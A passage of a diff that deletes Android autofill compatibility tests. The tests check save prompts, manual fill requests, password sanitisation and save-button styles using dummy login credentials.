-                mUiBot.pressBack();
-                break;
-            case HOME_BUTTON:
-                mUiBot.pressHome();
-                break;
-            case TOUCH_OUTSIDE:
-                mUiBot.assertShownByText(expectedMessage).click();
-                break;
-            default:
-                throw new IllegalArgumentException("invalid dismiss type: " + dismissType);
-        }
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveOnlyPreFilled() throws Exception {
-        saveOnlyTestPreFilled(false);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveOnlyTriggeredManuallyPreFilled() throws Exception {
-        saveOnlyTestPreFilled(true);
-    }
-
-    private void saveOnlyTestPreFilled(boolean manually) throws Exception {
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Set activity
-        mActivity.onUsername((v) -> v.setText("user_before"));
-        mActivity.onPassword((v) -> v.setText("pass_before"));
-
-        // Trigger auto-fill.
-        if (manually) {
-            // setText() will trigger a fill request.
-            // Waits the first fill request triggered by the setText() is received by the service to
-            // avoid flaky.
-            sReplier.getNextFillRequest();
-            mUiBot.waitForIdle();
-
-            // Set expectations again.
-            sReplier.addResponse(new CannedFillResponse.Builder()
-                    .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                    .build());
-            mActivity.forceAutofillOnUsername();
-        } else {
-            mUiBot.selectByRelativeId(ID_USERNAME);
-        }
-        mUiBot.waitForIdle();
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("user_after"));
-        mActivity.onPassword((v) -> v.setText("pass_after"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("user_after");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-        mUiBot.waitForIdle();
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        sReplier.assertNoUnhandledSaveRequests();
-
-        // Assert value of expected fields - should not be sanitized.
-        try {
-            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-            assertTextAndValue(username, "user_after");
-            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-            assertTextAndValue(password, "pass_after");
-        } catch (AssertionError | RuntimeException e) {
-            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
-            throw e;
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveOnlyTwoRequiredFieldsOnePrefilled() throws Exception {
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Set activity
-        mActivity.onUsername((v) -> v.setText("I_AM_USER"));
-
-        // Trigger auto-fill.
-        mActivity.onPassword(View::requestFocus);
-
-        // Wait for onFill() before changing value, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-        mUiBot.assertNoDatasetsEver();
-
-        // Set credentials...
-        mActivity.onPassword((v) -> v.setText("thou should pass")); // contains pass
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("I_AM_USER"); // contains pass
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-        sReplier.assertNoUnhandledSaveRequests();
-
-        // Assert value of expected fields - should not be sanitized.
-        try {
-            final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-            assertTextAndValue(username, "I_AM_USER");
-            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-            assertTextAndValue(password, "thou should pass");
-        } catch (AssertionError | RuntimeException e) {
-            dumpStructure("saveOnlyTest() failed", saveRequest.structure);
-            throw e;
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveOnlyOptionalField() throws Exception {
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME)
-                .setOptionalSavableIds(ID_PASSWORD)
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword(View::requestFocus);
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        // Assert value of expected fields - should not be sanitized.
-        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        assertTextAndValue(username, "malkovich");
-        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-        assertTextAndValue(password, "malkovich");
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveNoRequiredField_NoneFilled() throws Exception {
-        optionalOnlyTest(FilledFields.NONE);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveNoRequiredField_OneFilled() throws Exception {
-        optionalOnlyTest(FilledFields.USERNAME_ONLY);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testSaveNoRequiredField_BothFilled() throws Exception {
-        optionalOnlyTest(FilledFields.BOTH);
-    }
-
-    enum FilledFields {
-        NONE,
-        USERNAME_ONLY,
-        BOTH
-    }
-
-    private void optionalOnlyTest(FilledFields filledFields) throws Exception {
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD)
-                .setOptionalSavableIds(ID_USERNAME, ID_PASSWORD)
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        final String expectedUsername;
-        if (filledFields == FilledFields.USERNAME_ONLY || filledFields == FilledFields.BOTH) {
-            expectedUsername = BACKDOOR_USERNAME;
-            mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
-        } else {
-            expectedUsername = "";
-        }
-        mActivity.onPassword(View::requestFocus);
-        if (filledFields == FilledFields.BOTH) {
-            mActivity.onPassword((v) -> v.setText("whatever"));
-        }
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage(expectedUsername);
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        if (filledFields == FilledFields.NONE) {
-            mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-            return;
-        }
-
-        // Assert the snack bar is shown and tap "Save".
-        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-        // Assert value of expected fields - should not be sanitized.
-        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
-        assertTextAndValue(username, BACKDOOR_USERNAME);
-
-        if (filledFields == FilledFields.BOTH) {
-            final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_PASSWORD);
-            assertTextAndValue(password, "whatever");
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testGenericSave() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_GENERIC);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSavePassword() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveAddress() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_ADDRESS);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveCreditCard() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveUsername() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_USERNAME);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveEmailAddress() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_EMAIL_ADDRESS);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveDebitCard() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_DEBIT_CARD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSavePaymentCard() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_PAYMENT_CARD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveGenericCard() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_GENERIC_CARD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveTwoCardTypes() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD | SAVE_DATA_TYPE_DEBIT_CARD,
-                SAVE_DATA_TYPE_GENERIC_CARD);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
-    public void testCustomizedSaveThreeCardTypes() throws Exception {
-        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD | SAVE_DATA_TYPE_DEBIT_CARD
-                | SAVE_DATA_TYPE_PAYMENT_CARD, SAVE_DATA_TYPE_GENERIC_CARD);
-    }
-
-    private void customizedSaveTest(int type) throws Exception {
-        customizedSaveTest(type, type);
-    }
-
-    private void customizedSaveTest(int type, int expectedType) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final String saveDescription = "Your data will be saved with love and care...";
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(type, ID_USERNAME, ID_PASSWORD)
-                .setSaveDescription(saveDescription)
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started.
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Assert the snack bar is shown and tap "Save".
-        final UiObject2 saveSnackBar = mUiBot.assertSaveShowing(saveDescription, expectedType);
-        mUiBot.saveForAutofill(saveSnackBar, true);
-
-        // Assert save was called.
-        sReplier.getNextSaveRequest();
-    }
-
-    @Test
-    public void testDontTriggerSaveOnFinishWhenRequestedByFlag() throws Exception {
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setSaveInfoFlags(SaveInfo.FLAG_DONT_SAVE_ON_FINISH)
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Validation check.
-        mUiBot.assertNoDatasetsEver();
-
-        // Wait for onFill() before proceeding, otherwise the fields might be changed before
-        // the session started
-        sReplier.getNextFillRequest();
-
-        // Set credentials...
-        mActivity.onUsername((v) -> v.setText("malkovich"));
-        mActivity.onPassword((v) -> v.setText("malkovich"));
-
-        // ...and login
-        final String expectedMessage = getWelcomeMessage("malkovich");
-        final String actualMessage = mActivity.tapLogin();
-        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
-
-        // Make sure it didn't trigger save.
-        mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-    }
-
-    @Test
-    public void testAutoFillOneDatasetAndSaveWhenFlagSecure() throws Exception {
-        mActivity.setFlags(FLAG_SECURE);
-        testAutoFillOneDatasetAndSave();
-    }
-
-    @Test
-    public void testAutoFillOneDatasetWhenFlagSecure() throws Exception {
-        mActivity.setFlags(FLAG_SECURE);
-        testAutoFillOneDataset();
-    }
-
-    @Test
-    @AppModeFull(reason = "Service-specific test")
-    public void testDisableSelf() throws Exception {
-        enableService();
-
-        // Can disable while connected.
-        mActivity.runOnUiThread(() -> mContext.getSystemService(
-                AutofillManager.class).disableAutofillServices());
-
-        // Ensure disabled.
-        assertServiceDisabled();
-    }
-
-    @Test
-    public void testNeverRejectStyleNegativeSaveButton() throws Exception {
-        negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_NEVER);
-    }
-
-    @Test
-    public void testRejectStyleNegativeSaveButton() throws Exception {
-        negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT);
-    }
-
-    @Test
-    public void testCancelStyleNegativeSaveButton() throws Exception {
-        negativeSaveButtonStyle(SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL);
-    }
-
-    private void negativeSaveButtonStyle(int style) throws Exception {
-        enableService();
-
-        // Set service behavior.
-
-        final String intentAction = "android.autofillservice.cts.CUSTOM_ACTION";
-
-        // Configure the save UI.
-        final IntentSender listener = PendingIntent.getBroadcast(
-                mContext, 0, new Intent(intentAction), 0).getIntentSender();
-
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setNegativeAction(style, listener)
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onUsername((v) -> v.setText("foo"));
-        mActivity.onPassword((v) -> v.setText("foo"));
-        mActivity.tapLogin();
-
-        // Start watching for the negative intent
-        final CountDownLatch latch = new CountDownLatch(1);
-        final IntentFilter intentFilter = new IntentFilter(intentAction);
-        mContext.registerReceiver(new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                mContext.unregisterReceiver(this);
-                latch.countDown();
-            }
-        }, intentFilter);
-
-        // Trigger the negative button.
-        mUiBot.saveForAutofill(style, /* yesDoIt= */ false, SAVE_DATA_TYPE_PASSWORD);
-
-        // Wait for the custom action.
-        assertThat(latch.await(5, TimeUnit.SECONDS)).isTrue();
-    }
-
-    @Test
-    public void testContinueStylePositiveSaveButton() throws Exception {
-        enableService();
-
-        // Set service behavior.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .setPositiveAction(SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE)
-                .build());
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Wait for onFill() before proceeding.
-        sReplier.getNextFillRequest();
-
-        // Trigger save.
-        mActivity.onUsername((v) -> v.setText("foo"));
-        mActivity.onPassword((v) -> v.setText("foo"));
-        mActivity.tapLogin();
-
-        // Start watching for the negative intent
-        // Trigger the negative button.
-        mUiBot.saveForAutofill(SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE, SAVE_DATA_TYPE_PASSWORD);
-
-        // Assert save was called.
-        sReplier.getNextSaveRequest();
-    }
-
-    @Test
-    @AppModeFull(reason = "Unit test")
-    public void testGetTextInputType() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        // Assert input text on fill request:
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        final ViewNode label = findNodeByResourceId(fillRequest.structure, ID_PASSWORD_LABEL);
-        assertThat(label.getInputType()).isEqualTo(TYPE_NULL);
-        final ViewNode password = findNodeByResourceId(fillRequest.structure, ID_PASSWORD);
-        assertWithMessage("No TYPE_TEXT_VARIATION_PASSWORD on %s", password.getInputType())
-                .that(password.getInputType() & TYPE_TEXT_VARIATION_PASSWORD)
-                .isEqualTo(TYPE_TEXT_VARIATION_PASSWORD);
-    }
-
-    @Test
-    @AppModeFull(reason = "Unit test")
-    public void testNoContainers() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(NO_RESPONSE);
-
-        // Trigger auto-fill.
-        mActivity.onUsername(View::requestFocus);
-
-        mUiBot.assertNoDatasetsEver();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-
-        // Assert it only has 1 root view with 10 "leaf" nodes:
-        // 1.text view for app title
-        // 2.username text label
-        // 3.username text field
-        // 4.password text label
-        // 5.password text field
-        // 6.output text field
-        // 7.clear button
-        // 8.save button
-        // 9.login button
-        // 10.cancel button
-        //
-        // But it also has an intermediate container (for username) that should be included because
-        // it has a resource id.
-
-        assertNumberOfChildren(fillRequest.structure, 12);
-
-        // Make sure container with a resource id was included:
-        final ViewNode usernameContainer = findNodeByResourceId(fillRequest.structure,
-                ID_USERNAME_CONTAINER);
-        assertThat(usernameContainer).isNotNull();
-        assertThat(usernameContainer.getChildCount()).isEqualTo(2);
-    }
-
-    @Test
-    public void testAutofillManuallyOneDataset() throws Exception {
-        // Set service.
-        enableService();
-
-        // And activity.
-        mActivity.onUsername((v) -> v.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO));
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Explicitly uses the contextual menu to test that functionality.
-        mUiBot.getAutofillMenuOption(ID_USERNAME).click();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
-
-        // Should have been automatically filled.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutoFillOneDataset() is enough")
-    public void testAutofillManuallyOneDatasetWhenClipboardFull() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set clipboard.
-        ClipboardManager cm = (ClipboardManager) mActivity.getSystemService(CLIPBOARD_SERVICE);
-        cm.setPrimaryClip(ClipData.newPlainText(null, "test"));
-
-        // And activity.
-        mActivity.onUsername((v) -> v.setImportantForAutofill(IMPORTANT_FOR_AUTOFILL_NO));
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Explicitly uses the contextual menu to test that functionality.
-        mUiBot.getAutofillMenuOption(ID_USERNAME).click();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
-
-        // Should have been automatically filled.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        // clear clipboard
-        cm.clearPrimaryClip();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyTwoDatasetsPickFirst() throws Exception {
-        autofillManuallyTwoDatasets(true);
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyTwoDatasetsPickSecond() throws Exception {
-        autofillManuallyTwoDatasets(false);
-    }
-
-    private void autofillManuallyTwoDatasets(boolean pickFirst) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "dude")
-                        .setField(ID_PASSWORD, "sweet")
-                        .setPresentation(createPresentation("The Dude"))
-                        .build())
-                .addDataset(new CannedDataset.Builder()
-                        .setField(ID_USERNAME, "jenny")
-                        .setField(ID_PASSWORD, "8675309")
-                        .setPresentation(createPresentation("Jenny"))
-                        .build())
-                .build());
-        if (pickFirst) {
-            mActivity.expectAutoFill("dude", "sweet");
-        } else {
-            mActivity.expectAutoFill("jenny", "8675309");
-
-        }
-
-        // Force a manual autofill request.
-        mActivity.forceAutofillOnUsername();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
-
-        // Auto-fill it.
-        final UiObject2 picker = mUiBot.assertDatasets("The Dude", "Jenny");
-        mUiBot.selectDataset(picker, pickFirst ? "The Dude" : "Jenny");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyPartialField() throws Exception {
-        // Set service.
-        enableService();
-
-        sReplier.addResponse(NO_RESPONSE);
-        // And activity.
-        mActivity.onUsername((v) -> v.setText("dud"));
-        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
-
-        // setText() will trigger a fill request.
-        // Waits the first fill request triggered by the setText() is received by the service to
-        // avoid flaky.
-        sReplier.getNextFillRequest();
-        mUiBot.waitForIdle();
-
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Force a manual autofill request.
-        mActivity.forceAutofillOnUsername();
-
-        final FillRequest fillRequest = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest.flags, FLAG_MANUAL_REQUEST);
-        // Username value should be available because it triggered the manual request...
-        assertValue(fillRequest.structure, ID_USERNAME, "dud");
-        // ... but password didn't
-        assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
-
-        // Selects the dataset.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyAgainAfterAutomaticallyAutofilledBefore() throws Exception {
-        // Set service.
-        enableService();
-
-        /*
-         * 1st fill (automatic).
-         */
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        requestFocusOnUsername();
-
-        // Assert request.
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertThat(fillRequest1.flags).isEqualTo(0);
-        assertTextIsSanitized(fillRequest1.structure, ID_USERNAME);
-        assertTextIsSanitized(fillRequest1.structure, ID_PASSWORD);
-
-        // Select it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        /*
-         * 2nd fill (manual).
-         */
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "DUDE")
-                .setField(ID_PASSWORD, "SWEET")
-                .setPresentation(createPresentation("THE DUDE"))
-                .build());
-        mActivity.expectAutoFill("DUDE", "SWEET");
-        // Change password to make sure it's not sent to the service.
-        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
-
-        // Trigger auto-fill.
-        mActivity.forceAutofillOnUsername();
-
-        // Assert request.
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
-        assertValue(fillRequest2.structure, ID_USERNAME, "dude");
-        assertTextIsSanitized(fillRequest2.structure, ID_PASSWORD);
-
-        // Select it.
-        mUiBot.selectDataset("THE DUDE");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    @AppModeFull(reason = "testAutofillManuallyOneDataset() is enough")
-    public void testAutofillManuallyAgainAfterManuallyAutofilledBefore() throws Exception {
-        // Set service.
-        enableService();
-
-        /*
-         * 1st fill (manual).
-         */
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "dude")
-                .setField(ID_PASSWORD, "sweet")
-                .setPresentation(createPresentation("The Dude"))
-                .build());
-        mActivity.expectAutoFill("dude", "sweet");
-
-        // Trigger auto-fill.
-        mActivity.forceAutofillOnUsername();
-
-        // Assert request.
-        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest1.flags, FLAG_MANUAL_REQUEST);
-        assertValue(fillRequest1.structure, ID_USERNAME, "");
-        assertTextIsSanitized(fillRequest1.structure, ID_PASSWORD);
-
-        // Select it.
-        mUiBot.selectDataset("The Dude");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-
-        /*
-         * 2nd fill (manual).
-         */
-        // Set expectations.
-        sReplier.addResponse(new CannedDataset.Builder()
-                .setField(ID_USERNAME, "DUDE")
-                .setField(ID_PASSWORD, "SWEET")
-                .setPresentation(createPresentation("THE DUDE"))
-                .build());
-        mActivity.expectAutoFill("DUDE", "SWEET");
-        // Change password to make sure it's not sent to the service.
-        mActivity.onPassword((v) -> v.setText("IamSecretMan"));
-
-        // Trigger auto-fill.
-        mActivity.forceAutofillOnUsername();
-
-        // Assert request.
-        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
-        assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
-        assertValue(fillRequest2.structure, ID_USERNAME, "dude");
-        assertTextIsSanitized(fillRequest2.structure, ID_PASSWORD);
-
-        // Select it.
-        mUiBot.selectDataset("THE DUDE");
-
-        // Check the results.
-        mActivity.assertAutoFilled();
-    }
-
-    @Test
-    public void testCommitMultipleTimes() throws Throwable {
-        // Set service.
-        enableService();
-
-        final CannedFillResponse response = new CannedFillResponse.Builder()
-                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
-                .build();
-
-        for (int i = 1; i <= 10; i++) {
-            Log.i(TAG, "testCommitMultipleTimes(): step " + i);
-            final String username = "user-" + i;
-            final String password = "pass-" + i;
-            try {
-                // Set expectations.
-                sReplier.addResponse(response);
-
-                Timeouts.IDLE_UNBIND_TIMEOUT.run("wait for session created", () -> {
-                    // Trigger auto-fill.
-                    mActivity.onUsername(View::clearFocus);
-                    mActivity.onUsername(View::requestFocus);
-
-                    return isConnected() ? "not_used" : null;
-                });
-
-                sReplier.getNextFillRequest();
-
-                // Validation check.
-                mUiBot.assertNoDatasetsEver();
-
-                // Set credentials...
-                mActivity.onUsername((v) -> v.setText(username));
-                mActivity.onPassword((v) -> v.setText(password));
-
-                // Change focus to prepare for next step - must do it before session is gone
-                mActivity.onPassword(View::requestFocus);
-
-                // ...and save them
-                mActivity.tapSave();
-
-                // Assert the snack bar is shown and tap "Save".
-                mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
-
-                final SaveRequest saveRequest = sReplier.getNextSaveRequest();
-
-                // Assert value of expected fields - should not be sanitized.
-                final ViewNode usernameNode = findNodeByResourceId(saveRequest.structure,
-                        ID_USERNAME);
-                assertTextAndValue(usernameNode, username);
-                final ViewNode passwordNode = findNodeByResourceId(saveRequest.structure,
-                        ID_PASSWORD);
-                assertTextAndValue(passwordNode, password);
-
-                waitUntilDisconnected();
-
-                // Wait and check if the save window is correctly hidden.
-                mUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
-            } catch (RetryableException e) {
-                throw new RetryableException(e, "on step %d", i);
-            } catch (Throwable t) {
-                throw new Throwable("Error on step " + i, t);
-            }
-        }
-    }
-
-    @Test
-    public void testCancelMultipleTimes() throws Throwable {
-        // Set service.
-        enableService();
-
-        for (int i = 1; i <= 10; i++) {
